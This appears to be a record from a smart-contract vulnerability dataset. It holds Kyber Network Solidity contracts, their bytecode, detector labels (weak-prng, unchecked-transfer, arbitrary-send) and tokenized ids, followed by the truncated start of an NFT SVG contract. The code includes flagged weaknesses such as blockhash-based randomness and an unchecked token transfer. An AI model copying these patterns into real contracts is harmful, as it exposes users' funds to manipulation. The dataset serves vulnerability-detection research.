reserves function getReserves() public view returns(KyberReserveInterface[]) { return reserves; } /// @dev get the balance of a user. /// @param token The token type /// @return The balance function getBalance(ERC20 token, address user) public view returns(uint) { if (token == ETH_TOKEN_ADDRESS) return user.balance; else return token.balanceOf(user); } /// @notice use token address ETH_TOKEN_ADDRESS for ether /// @dev best conversion rate for a pair of tokens, if number of reserves have small differences. randomize /// @param src Src token /// @param dest Destination token /* solhint-disable code-complexity */ function findBestRate(ERC20 src, ERC20 dest, uint srcQty) public view returns(uint, uint) { uint bestRate = 0; uint bestReserve = 0; uint numRelevantReserves = 0; uint numReserves = reserves.length; uint[] memory rates = new uint[](numReserves); uint[] memory reserveCandidates = new uint[](numReserves); for (uint i = 0; i < numReserves; i++) { //list all reserves that have this token. if (!(perReserveListedPairs[reserves[i]])[keccak256(src, dest)]) continue; rates[i] = reserves[i].getConversionRate(src, dest, srcQty, block.number); if (rates[i] > bestRate) { //best rate is highest rate bestRate = rates[i]; } } if (bestRate > 0) { uint random = 0; uint smallestRelevantRate = (bestRate * 10000) / (10000 + negligibleRateDiff); for (i = 0; i < numReserves; i++) { if (rates[i] >= smallestRelevantRate) { reserveCandidates[numRelevantReserves++] = i; } } if (numRelevantReserves > 1) { //when encountering small rate diff from bestRate. draw from relevant reserves random = uint(block.blockhash(block.number-1)) % numRelevantReserves; } bestReserve = reserveCandidates[random]; bestRate = rates[bestReserve]; } return (bestReserve, bestRate); } /* solhint-enable code-complexity */ function getExpectedRate(ERC20 src, ERC20 dest, uint srcQty) public view returns (uint expectedRate, uint slippageRate) { require(expectedRateContract != address(0)); return expectedRateContract.getExpectedRate(src, dest, srcQty); } function getUserCapInWei(address user) public view returns(uint) { return whiteListContract.getUserCapInWei(user); } function doTrade( ERC20 src, uint srcAmount, ERC20 dest, address destAddress, uint maxDestAmount, uint minConversionRate, address walletId ) internal returns(uint) { require(tx.gasprice <= maxGasPrice); require(validateTradeInput(src, srcAmount, destAddress)); uint reserveInd; uint rate; (reserveInd, rate) = findBestRate(src, dest, srcAmount); KyberReserveInterface theReserve = reserves[reserveInd]; require(rate > 0); require(rate < MAX_RATE); require(rate >= minConversionRate); uint actualSrcAmount = srcAmount; uint actualDestAmount = calcDestAmount(src, dest, actualSrcAmount, rate); if (actualDestAmount > maxDestAmount) { actualDestAmount = maxDestAmount; actualSrcAmount = calcSrcAmount(src, dest, actualDestAmount, rate); require(actualSrcAmount <= srcAmount); } // do the trade // verify trade size is smaller than user cap uint ethAmount; if (src == ETH_TOKEN_ADDRESS) { ethAmount = actualSrcAmount; } else { ethAmount = actualDestAmount; } require(ethAmount <= getUserCapInWei(msg.sender)); require(doReserveTrade( src, actualSrcAmount, dest, destAddress, actualDestAmount, theReserve, rate, true)); if ((actualSrcAmount < srcAmount) && (src == ETH_TOKEN_ADDRESS)) { msg.sender.transfer(srcAmount - actualSrcAmount); } require(feeBurnerContract.handleFees(ethAmount, theReserve, walletId)); ExecuteTrade(msg.sender, src, dest, actualSrcAmount, actualDestAmount); return actualDestAmount; } /// @notice use token address ETH_TOKEN_ADDRESS for ether /// @dev do one trade with a reserve /// @param src Src token /// @param amount amount of src tokens /// @param dest Destination token /// @param destAddress Address to send tokens to /// @param reserve Reserve to use /// @param validate If true, additional validations are applicable /// @return true if trade is successful function doReserveTrade( ERC20 src, uint amount, ERC20 dest, address destAddress, uint expectedDestAmount, KyberReserveInterface reserve, uint conversionRate, bool validate ) internal returns(bool) { uint callValue = 0; if (src == ETH_TOKEN_ADDRESS) { callValue = amount; } else { // take src tokens to this contract src.transferFrom(msg.sender, this, amount); } // reserve sends tokens/eth to network. network sends it to destination require(reserve.trade.value(callValue)(src, amount, dest, this, conversionRate, validate)); if (dest == ETH_TOKEN_ADDRESS) { destAddress.transfer(expectedDestAmount); } else { require(dest.transfer(destAddress, expectedDestAmount)); } return true; } function calcDestAmount(ERC20 src, ERC20 dest, uint srcAmount, uint rate) internal view returns(uint) { return calcDstQty(srcAmount, getDecimals(src), getDecimals(dest), rate); } function calcSrcAmount(ERC20 src, ERC20 dest, uint destAmount, uint rate) internal view returns(uint) { return calcSrcQty(destAmount, getDecimals(src), getDecimals(dest), rate); } /// @notice use token address ETH_TOKEN_ADDRESS for ether /// @dev checks that user sent ether/tokens to contract before trade /// @param src Src token /// @param srcAmount amount of src tokens /// @return true if input is valid function validateTradeInput(ERC20 src, uint srcAmount, address destAddress) internal view returns(bool) { if ((srcAmount >= MAX_QTY) || (srcAmount == 0) || (destAddress == 0)) return false; if (src == ETH_TOKEN_ADDRESS) { if (msg.value != srcAmount) return false; } else { if ((msg.value != 0) || (src.allowance(msg.sender, this) < srcAmount)) return false; } return true; } } // File: contracts/SanityRatesInterface.sol interface SanityRatesInterface { function getSanityRate(ERC20 src, ERC20 dest) public view returns(uint); } // File: contracts/KyberReserve.sol /// @title Kyber Reserve contract contract KyberReserve is KyberReserveInterface, Withdrawable, Utils { address public kyberNetwork; bool public tradeEnabled; ConversionRatesInterface public conversionRatesContract; SanityRatesInterface public sanityRatesContract; mapping(bytes32=>bool) public approvedWithdrawAddresses; // sha3(token,address)=>bool function KyberReserve(address _kyberNetwork, ConversionRatesInterface _ratesContract, address _admin) public { require(_admin != address(0)); require(_ratesContract != address(0)); require(_kyberNetwork != address(0)); kyberNetwork = _kyberNetwork; conversionRatesContract = _ratesContract; admin = _admin; tradeEnabled = true; } event DepositToken(ERC20 token, uint amount); function() public payable { DepositToken(ETH_TOKEN_ADDRESS, msg.value); } event TradeExecute( address indexed origin, address src, uint srcAmount, address destToken, uint destAmount, address destAddress ); function trade( ERC20 srcToken, uint srcAmount, ERC20 destToken, address destAddress, uint conversionRate, bool validate ) public payable returns(bool) { require(tradeEnabled); require(msg.sender == kyberNetwork); require(doTrade(srcToken, srcAmount, destToken, destAddress, conversionRate, validate)); return true; } event TradeEnabled(bool enable); function enableTrade() public onlyAdmin returns(bool) { tradeEnabled = true; TradeEnabled(true); return true; } function disableTrade() public onlyAlerter returns(bool) { tradeEnabled = false; TradeEnabled(false); return true; } event WithdrawAddressApproved(ERC20 token, address addr, bool approve); function approveWithdrawAddress(ERC20 token, address addr, bool approve) public onlyAdmin { approvedWithdrawAddresses[keccak256(token, addr)] = approve; WithdrawAddressApproved(token, addr, approve); setDecimals(token); } event WithdrawFunds(ERC20 token, uint amount, address destination); function withdraw(ERC20 token, uint amount, address destination) public onlyOperator returns(bool) { require(approvedWithdrawAddresses[keccak256(token, destination)]); if (token == ETH_TOKEN_ADDRESS) { destination.transfer(amount); } else { require(token.transfer(destination, amount)); } WithdrawFunds(token, amount, destination); return true; } event SetContractAddresses(address network, address rate, address sanity); function setContracts(address _kyberNetwork, ConversionRatesInterface _conversionRates, SanityRatesInterface _sanityRates) public onlyAdmin { require(_kyberNetwork != address(0)); require(_conversionRates != address(0)); kyberNetwork = _kyberNetwork; conversionRatesContract = _conversionRates; sanityRatesContract = _sanityRates; SetContractAddresses(kyberNetwork, conversionRatesContract, sanityRatesContract); } //////////////////////////////////////////////////////////////////////////// /// status functions /////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// function getBalance(ERC20 token) public view returns(uint) { if (token == ETH_TOKEN_ADDRESS) return this.balance; else return token.balanceOf(this); } function getDestQty(ERC20 src, ERC20 dest, uint srcQty, uint rate) public view returns(uint) { uint dstDecimals = getDecimals(dest); uint srcDecimals = getDecimals(src); return calcDstQty(srcQty, srcDecimals, dstDecimals, rate); } function getSrcQty(ERC20 src, ERC20 dest, uint dstQty, uint rate) public view returns(uint) { uint dstDecimals = getDecimals(dest); uint srcDecimals = getDecimals(src); return calcSrcQty(dstQty, srcDecimals, dstDecimals, rate); } function getConversionRate(ERC20 src, ERC20 dest, uint srcQty, uint blockNumber) public view returns(uint) { ERC20 token; bool buy; if (!tradeEnabled) return 0; if (ETH_TOKEN_ADDRESS == src) { buy = true; token = dest; } else if (ETH_TOKEN_ADDRESS == dest) { buy = false; token = src; } else { return 0; // pair is not listed } uint rate = conversionRatesContract.getRate(token, blockNumber, buy, srcQty); uint destQty = getDestQty(src, dest, srcQty, rate); if (getBalance(dest) < destQty) return 0; if (sanityRatesContract != address(0)) { uint sanityRate = sanityRatesContract.getSanityRate(src, dest); if (rate > sanityRate) return 0; } return rate; } /// @dev do a trade /// @param srcToken Src token /// @param srcAmount Amount of src token /// @param destToken Destination token /// @param destAddress Destination address to send tokens to /// @param validate If true, additional validations are applicable /// @return true iff trade is successful function doTrade( ERC20 srcToken, uint srcAmount, ERC20 destToken, address destAddress, uint conversionRate, bool validate ) internal returns(bool) { // can skip validation if done at kyber network level if (validate) { require(conversionRate > 0); if (srcToken == ETH_TOKEN_ADDRESS) require(msg.value == srcAmount); else require(msg.value == 0); } uint destAmount = getDestQty(srcToken, destToken, srcAmount, conversionRate); // sanity check require(destAmount > 0); // add to imbalance ERC20 token; int buy; if (srcToken == ETH_TOKEN_ADDRESS) { buy = int(destAmount); token = destToken; } else { buy = -1 * int(srcAmount); token = srcToken; } conversionRatesContract.recordImbalance( token, buy, 0, block.number ); // collect src tokens if (srcToken != ETH_TOKEN_ADDRESS) { require(srcToken.transferFrom(msg.sender, this, srcAmount)); } // send dest tokens if (destToken == ETH_TOKEN_ADDRESS) { destAddress.transfer(destAmount); } else { require(destToken.transfer(destAddress, destAmount)); } TradeExecute(msg.sender, srcToken, srcAmount, destToken, destAmount, destAddress); return true; } } // File: contracts/mockContracts/Wrapper.sol contract Wrapper is Utils { function getBalances(address reserve, ERC20[] tokens) public view returns(uint[]) { uint[] memory result = new uint[](tokens.length); for (uint i = 0; i < tokens.length; i++) { uint balance = 0; if (tokens[i] == ETH_TOKEN_ADDRESS) { balance = reserve.balance; } else { balance = tokens[i].balanceOf(reserve); } result[i] = balance; } return result; } function getByteFromBytes14(bytes14 x, uint byteInd) public pure returns(byte) { require(byteInd <= 13); return x[byteInd]; } function getInt8FromByte(bytes14 x, uint byteInd) public pure returns(int8) { require(byteInd <= 13); return int8(x[byteInd]); } // struct TokenRatesCompactData { // bytes14 buy; // change buy rate of token from baseBuyRate in 10 bps // bytes14 sell; // change sell rate of token from baseSellRate in 10 bps // // uint32 blockNumber; // } // // function getDataFromCompact(TokenRatesCompactData compact, uint byteInd) public pure // returns(int8 buyByte, int8 sellByte, uint blockNumber) // { // blockNumber = uint(compact.blockNumber); //// return (compact.buy[byteInd], compact.sell[byteInd], uint(compact.blockNumber)); // } function getCompactData(ConversionRates ratesContract, ERC20 token) internal view returns(int8,int8,uint) { uint bulkIndex; uint index; byte buy; byte sell; uint updateBlock; (bulkIndex, index, buy, sell) = ratesContract.getCompactData(token); updateBlock = ratesContract.getRateUpdateBlock(token); return (int8(buy), int8(sell), updateBlock); } function getTokenRates(ConversionRates ratesContract, ERC20[] tokenList) public view returns(uint[], uint[], int8[], int8[], uint[]) { uint[] memory buyBases = new uint[](tokenList.length); uint[] memory sellBases = new uint[](tokenList.length); int8[] memory compactBuy = new int8[](tokenList.length); int8[] memory compactSell = new int8[](tokenList.length); uint[] memory updateBlock = new uint[](tokenList.length); for (uint i = 0; i < tokenList.length; i++) { buyBases[i] = ratesContract.getBasicRate(tokenList[i], true); sellBases[i] = ratesContract.getBasicRate(tokenList[i], false); (compactBuy[i], compactSell[i], updateBlock[i]) = getCompactData(ratesContract, tokenList[i]); } return (buyBases, sellBases, compactBuy, compactSell, updateBlock); } function getTokenIndicies(ConversionRates ratesContract, ERC20[] tokenList) public view returns(uint[], uint[]) { uint[] memory bulkIndices = new uint[](tokenList.length); uint[] memory tokenIndexInBulk = new uint[](tokenList.length); for (uint i = 0; i < tokenList.length; i++) { uint bulkIndex; uint index; byte buy; byte sell; (bulkIndex, index, buy, sell) = ratesContract.getCompactData(tokenList[i]); bulkIndices[i] = bulkIndex; tokenIndexInBulk[i] = index; } return (bulkIndices,tokenIndexInBulk); } function getExpectedRates( KyberNetwork network, ERC20[] srcs, ERC20[] dests, uint[] qty ) public view returns(uint[], uint[]) { require( srcs.length == dests.length ); require( srcs.length == dests.length ); uint[] memory rates = new uint[](srcs.length); uint[] memory slippage = new uint[](srcs.length); for ( uint i = 0; i < srcs.length; i++ ) { (rates[i],slippage[i]) = network.getExpectedRate(srcs[i],dests[i],qty[i]); } return (rates, slippage); } function getReserveRate(KyberReserve reserve, ERC20[] srcs, ERC20[] dests) public view returns(uint[], uint[]) { require( srcs.length == dests.length ); require( srcs.length == dests.length ); uint[] memory rates = new uint[](srcs.length); uint[] memory sanityRate = new uint[](srcs.length); for(uint i = 0 ; i < srcs.length ; i++) { if(reserve.sanityRatesContract() != address(0x0)){ sanityRate[i] = reserve.sanityRatesContract().getSanityRate(srcs[i], dests[i]); } rates[i] = reserve.getConversionRate(srcs[i], dests[i], 0, block.number); } } }
0x6060604052600436106100695763ffffffff60e060020a60003504166367c33c80811461006e5780636a385ae9146100b55780637c80feff1461016557806391eb1c691461025b578063a609f034146102f8578063f1838fe41461035b578063f37f834514610438575b600080fd5b341561007957600080fd5b61009c71ffffffffffffffffffffffffffffffffffff19600435166024356105fd565b604051600091820b90910b815260200160405180910390f35b34156100c057600080fd5b61011260048035600160a060020a031690604460248035908101908301358060208082020160405190810160405280939291908181526020018383602002808284375094965061062f95505050505050565b60405160208082528190810183818151815260200191508051906020019060200280838360005b83811015610151578082015183820152602001610139565b505050509050019250505060405180910390f35b341561017057600080fd5b6101c260048035600160a060020a031690604460248035908101908301358060208082020160405190810160405280939291908181526020018383602002808284375094965061077595505050505050565b604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b838110156102065780820151838201526020016101ee565b50505050905001838103825284818151815260200191508051906020019060200280838360005b8381101561024557808201518382015260200161022d565b5050505090500194505050505060405180910390f35b341561026657600080fd5b6101c260048035600160a060020a0316906044602480359081019083013580602080820201604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437509496506108dd95505050505050565b341561030357600080fd5b61032671ffffffffffffffffffffffffffffffffffff1960043516602435610bd9565b6040517fff00000000000000000000000000000000000000000000000000000000000000909116815260200160405180910390f35b341561036657600080fd5b6101c260048035600160a060020a03169060446024803590810190830135806020808202016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843750949650610c0495505050505050565b341561044357600080fd5b61049560048035600160a060020a0316906044602480359081019083013580602080820201604051908101604052809392919081815260200183836020028082843750949650610da295505050505050565b60405180806020018060200180602001806020018060200186810386528b818151815260200191508051906020019060200280838360005b838110156104e55780820151838201526020016104cd565b5050505090500186810385528a818151815260200191508051906020019060200280838360005b8381101561052457808201518382015260200161050c565b50505050905001868103845289818151815260200191508051906020019060200280838360005b8381101561056357808201518382015260200161054b565b50505050905001868103835288818151815260200191508051906020019060200280838360005b838110156105a257808201518382015260200161058a565b50505050905001868103825287818151815260200191508051906020019060200280838360005b838110156105e15780820151838201526020016105c9565b505050509050019a505050505050505050505060405180910390f35b6000600d82111561060d57600080fd5b8282600e811061061957fe5b1a60f860020a0260f860020a9004905092915050565b6106376111ae565b61063f6111ae565b60008084516040518059106106515750595b90808252806020026020018201604052509250600091505b845182101561076b5750600073eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee85838151811061069657fe5b90602001906020020151600160a060020a031614156106c05750600160a060020a03851631610749565b8482815181106106cc57fe5b90602001906020020151600160a060020a03166370a082318760006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561072c57600080fd5b6102c65a03f1151561073d57600080fd5b50505060405180519150505b8083838151811061075657fe5b60209081029091010152600190910190610669565b5090949350505050565b61077d6111ae565b6107856111ae565b61078d6111ae565b6107956111ae565b600080600080600089516040518059106107ac5750595b9080825280602002602001820160405250965089516040518059106107ce5750595b90808252806020026020018201604052509550600094505b89518510156108cc578a600160a060020a031663e4a2ac628b878151811061080a57fe5b9060200190602002015160006040516080015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401608060405180830381600087803b151561085b57600080fd5b6102c65a03f1151561086c57600080fd5b505050604051805190602001805190602001805190602001805193975091955093509091508490508786815181106108a057fe5b60209081029091010152828686815181106108b757fe5b602090810290910101526001909401936107e6565b509499939850929650505050505050565b6108e56111ae565b6108ed6111ae565b6108f56111ae565b6108fd6111ae565b6000855187511461090d57600080fd5b855187511461091b57600080fd5b865160405180591061092a5750595b90808252806020026020018201604052509250865160405180591061094c5750595b90808252806020026020018201604052509150600090505b8651811015610bce576000600160a060020a0389166347e6924f82604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156109b457600080fd5b6102c65a03f115156109c557600080fd5b50505060405180519050600160a060020a0316141515610afa5787600160a060020a03166347e6924f6000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610a2557600080fd5b6102c65a03f11515610a3657600080fd5b50505060405180519050600160a060020a031663a58092b7888381518110610a5a57fe5b90602001906020020151888481518110610a7057fe5b9060200190602002015160006040516020015260405160e060020a63ffffffff8516028152600160a060020a03928316600482015291166024820152604401602060405180830381600087803b1515610ac857600080fd5b6102c65a03f11515610ad957600080fd5b50505060405180519050828281518110610aef57fe5b602090810290910101525b87600160a060020a0316637cd44272888381518110610b1557fe5b90602001906020020151888481518110610b2b57fe5b9060200190602002015160004360006040516020015260405160e060020a63ffffffff8716028152600160a060020a03948516600482015292909316602483015260448201526064810191909152608401602060405180830381600087803b1515610b9557600080fd5b6102c65a03f11515610ba657600080fd5b50505060405180519050838281518110610bbc57fe5b60209081029091010152600101610964565b505050935093915050565b6000600d821115610be957600080fd5b8282600e8110610bf557fe5b1a60f860020a02905092915050565b610c0c6111ae565b610c146111ae565b610c1c6111ae565b610c246111ae565b60008651885114610c3457600080fd5b8651885114610c4257600080fd5b8751604051805910610c515750595b908082528060200260200182016040525092508751604051805910610c735750595b90808252806020026020018201604052509150600090505b8751811015610d945788600160a060020a031663809a9e55898381518110610caf57fe5b90602001906020020151898481518110610cc557fe5b90602001906020020151898581518110610cdb57fe5b9060200190602002015160006040516040015260405160e060020a63ffffffff8616028152600160a060020a03938416600482015291909216602482015260448101919091526064016040805180830381600087803b1515610d3c57600080fd5b6102c65a03f11515610d4d57600080fd5b50505060405180519060200180519050848381518110610d6957fe5b906020019060200201848481518110610d7e57fe5b6020908102909101019190915252600101610c8b565b509097909650945050505050565b610daa6111ae565b610db26111ae565b610dba6111ae565b610dc26111ae565b610dca6111ae565b610dd26111ae565b610dda6111ae565b610de26111ae565b610dea6111ae565b610df26111ae565b60008b51604051805910610e035750595b908082528060200260200182016040525095508b51604051805910610e255750595b908082528060200260200182016040525094508b51604051805910610e475750595b908082528060200260200182016040525093508b51604051805910610e695750595b908082528060200260200182016040525092508b51604051805910610e8b5750595b90808252806020026020018201604052509150600090505b8b51811015611072578c600160a060020a031663cf8fee118d8381518110610ec757fe5b90602001906020020151600160006040516020015260405160e060020a63ffffffff8516028152600160a060020a03909216600483015215156024820152604401602060405180830381600087803b1515610f2157600080fd5b6102c65a03f11515610f3257600080fd5b50505060405180519050868281518110610f4857fe5b60209081029091010152600160a060020a038d1663cf8fee118d8381518110610f6d57fe5b906020019060200201516000806040516020015260405160e060020a63ffffffff8516028152600160a060020a03909216600483015215156024820152604401602060405180830381600087803b1515610fc657600080fd5b6102c65a03f11515610fd757600080fd5b50505060405180519050858281518110610fed57fe5b602090810290910101526110168d8d838151811061100757fe5b90602001906020020151611086565b86848151811061102257fe5b90602001906020020186858151811061103757fe5b90602001906020020186868151811061104c57fe5b60209081029091010192909252600092830b830b90915291810b900b9052600101610ea3565b50939b929a50909850965090945092505050565b60008060008060008060008089600160a060020a031663e4a2ac628a60006040516080015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401608060405180830381600087803b15156110e957600080fd5b6102c65a03f115156110fa57600080fd5b5050506040518051906020018051906020018051906020018051939850919650945090925050600160a060020a038a16638036d7578a60006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561117757600080fd5b6102c65a03f1151561118857600080fd5b505050604051805160f860020a948590049c949093049a50919850919650505050505050565b602060405190810160405260008152905600a165627a7a72305820a0efac75b76a6ba59fe0e2a17f5add5360d566506725f4adf6e8f7d692a84c8d0029
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'weak-prng', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 19841, 2620, 6305, 17134, 26187, 2475, 2050, 19841, 14141, 21084, 2094, 2581, 11057, 2620, 18139, 9468, 2063, 2692, 2063, 2629, 2063, 2620, 2683, 23632, 2549, 2050, 22203, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1013, 5371, 1024, 8311, 1013, 9413, 2278, 11387, 18447, 2121, 12172, 1012, 14017, 1013, 1013, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 28855, 14820, 1013, 1041, 11514, 2015, 1013, 3314, 1013, 2322, 8278, 9413, 2278, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 4425, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 1035, 3954, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 5703, 1007, 1025, 3853, 4651, 1006, 4769, 1035, 2000, 1010, 21318, 3372, 1035, 3643, 1007, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,588
0x9708af8bca083f1abfea3cdfc4049e54e5ca9ad4
// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: libraries/HexStrings.sol pragma solidity ^0.8.0; library HexStrings { bytes16 internal constant ALPHABET = '0123456789abcdef'; /// @notice Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. /// @dev Credit to Open Zeppelin under MIT license https://github.com/OpenZeppelin/openzeppelin-contracts/blob/243adff49ce1700e0ecb99fe522fb16cff1d1ddc/contracts/utils/Strings.sol#L55 function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = '0'; buffer[1] = 'x'; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = ALPHABET[value & 0xf]; value >>= 4; } require(value == 0, 'Strings: hex length insufficient'); return string(buffer); } function toHexStringNoPrefix(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length); for (uint256 i = buffer.length; i > 0; i--) { buffer[i - 1] = ALPHABET[value & 0xf]; value >>= 4; } return string(buffer); } } // File: libraries/NFTSVG.sol pragma solidity >=0.7.6; /// @title NFTSVG library NFTSVG { using Strings for uint256; string constant curve = 'M93.388 40.430 C 84.339 42.524,78.632 48.186,78.151 55.546 C 78.051 57.067,77.824 57.700,75.822 62.028 C 74.601 64.666,72.465 69.308,71.075 72.344 C 69.684 75.381,68.307 78.245,68.015 78.709 C 62.572 87.337,59.165 96.003,58.444 103.054 C 57.915 108.218,57.292 110.335,53.667 119.293 C 49.280 130.136,49.501 128.260,49.500 154.655 C 49.499 173.381,49.454 176.143,49.132 177.048 C 48.516 178.781,48.113 181.045,46.889 189.629 C 44.967 203.110,43.968 207.086,41.678 210.371 C 37.704 216.071,36.003 223.922,33.815 246.671 C 33.382 251.172,32.683 254.375,30.292 262.817 C 29.430 265.863,28.304 270.106,27.791 272.245 C 27.278 274.384,26.597 277.036,26.279 278.138 C 25.308 281.503,25.225 282.091,24.979 287.331 C 24.548 296.500,24.161 298.393,22.157 301.143 C 21.509 302.032,20.976 302.921,20.974 303.118 C 20.962 304.005,18.674 308.693,15.728 313.867 C 7.892 327.625,7.059 334.546,12.600 339.866 L 14.143 341.348 13.076 344.046 C 10.860 349.649,10.505 352.355,10.496 363.701 L 10.489 372.540 11.724 376.141 C 14.557 384.400,18.936 391.854,23.772 396.652 C 30.882 403.706,34.662 413.693,38.286 435.003 C 40.157 446.003,42.050 450.984,52.421 472.194 C 57.209 481.986,60.546 484.297,74.619 487.569 C 86.502 490.332,89.391 491.773,93.225 496.851 C 101.551 507.877,115.203 515.355,126.930 515.311 C 130.099 515.299,130.955 515.392,135.180 516.210 C 145.726 518.252,151.435 519.152,176.900 522.786 C 195.221 525.400,203.087 526.640,210.843 528.134 L 215.085 528.951 232.528 529.169 C 242.121 529.290,258.282 529.392,268.440 529.396 L 286.909 529.405 287.625 530.007 C 291.832 533.547,304.137 534.373,317.973 532.043 L 320.448 531.627 323.159 532.419 C 328.345 533.935,328.532 533.967,330.326 533.670 C 332.601 533.294,334.674 532.230,336.665 530.417 C 343.181 524.485,355.346 518.798,361.520 518.798 C 361.780 518.798,363.411 518.431,365.145 517.983 C 366.879 517.535,370.876 516.578,374.028 515.857 C 382.387 513.943,385.752 512.999,390.021 511.369 L 392.417 510.453 392.850 508.320 C 393.940 502.945,393.397 495.298,391.250 485.798 C 390.737 483.530,389.953 480.057,389.507 478.080 C 389.061 476.104,388.494 474.088,388.246 473.602 C 385.956 469.100,384.635 462.763,382.559 446.317 C 381.181 435.401,381.162 435.286,379.025 424.396 C 376.431 411.178,376.511 412.021,377.136 404.560 C 377.772 396.967,377.826 390.773,377.279 388.214 C 377.071 387.242,376.901 385.406,376.901 384.133 C 376.900 377.611,376.434 371.419,375.744 368.768 C 374.867 365.396,374.540 362.149,374.308 354.508 C 374.116 348.147,373.706 344.137,372.841 340.130 C 372.193 337.133,371.929 328.351,371.937 310.122 C 371.944 295.458,371.819 293.193,370.780 289.130 C 369.208 282.982,365.784 278.175,361.020 275.427 C 351.825 270.124,349.290 262.012,350.524 241.839 C 350.663 239.570,350.778 234.903,350.780 231.467 C 350.782 228.032,350.880 224.766,350.999 224.210 C 352.812 215.704,350.484 204.781,345.235 197.171 C 344.520 196.134,343.542 194.630,343.062 193.828 C 342.582 193.026,341.796 191.961,341.317 191.462 C 340.838 190.964,340.003 189.672,339.462 188.591 C 336.456 182.584,332.890 180.211,322.575 177.351 C 318.216 176.142,318.436 176.307,317.773 173.750 C 316.479 168.768,314.730 166.317,305.724 156.865 C 299.846 150.697,299.227 150.012,292.467 142.191 C 289.014 138.197,288.722 137.784,288.134 136.072 C 286.368 130.929,282.534 125.153,273.773 114.437 C 271.296 111.407,270.520 110.279,267.290 104.999 C 260.477 93.868,256.427 89.515,250.593 87.052 C 247.628 85.801,245.036 84.349,240.674 81.492 C 230.845 75.055,227.838 74.156,220.631 75.499 C 215.106 76.528,211.782 76.294,210.160 74.761 C 209.471 74.111,209.202 74.042,205.539 73.580 C 201.695 73.096,201.609 73.072,198.114 71.536 C 193.529 69.520,187.197 66.969,184.166 65.917 C 182.847 65.459,180.649 64.432,179.282 63.634 C 174.626 60.918,170.065 59.340,158.199 56.339 C 146.824 53.463,141.586 51.102,137.065 46.814 L 135.651 45.473 132.115 45.000 C 130.171 44.739,124.867 43.900,120.330 43.134 C 109.928 41.379,106.200 40.864,101.473 40.532 C 99.399 40.386,97.518 40.170,97.293 40.051 C 96.705 39.741,96.117 39.798,93.388 40.430 M104.947 46.225 C 107.246 46.476,113.186 47.361,118.147 48.191 C 123.107 49.021,128.438 49.874,129.994 50.087 C 131.550 50.300,133.035 50.564,133.294 50.675 C 133.553 50.785,134.119 50.936,134.551 51.010 C 135.056 51.097,135.856 51.617,136.790 52.465 C 141.521 56.758,146.652 58.977,159.104 62.115 C 169.385 64.706,175.949 67.096,179.510 69.546 C 180.077 69.936,181.790 70.685,183.317 71.210 C 186.407 72.274,192.909 74.885,197.761 77.011 C 200.763 78.326,201.136 78.429,204.361 78.835 C 207.527 79.234,207.888 79.331,209.264 80.156 C 211.773 81.659,215.363 81.915,220.646 80.967 C 226.215 79.967,225.644 79.999,227.635 80.573 C 230.470 81.389,233.827 83.127,238.683 86.294 C 242.736 88.938,245.655 90.562,249.860 92.514 C 254.321 94.584,258.218 98.729,262.935 106.422 C 266.459 112.170,269.017 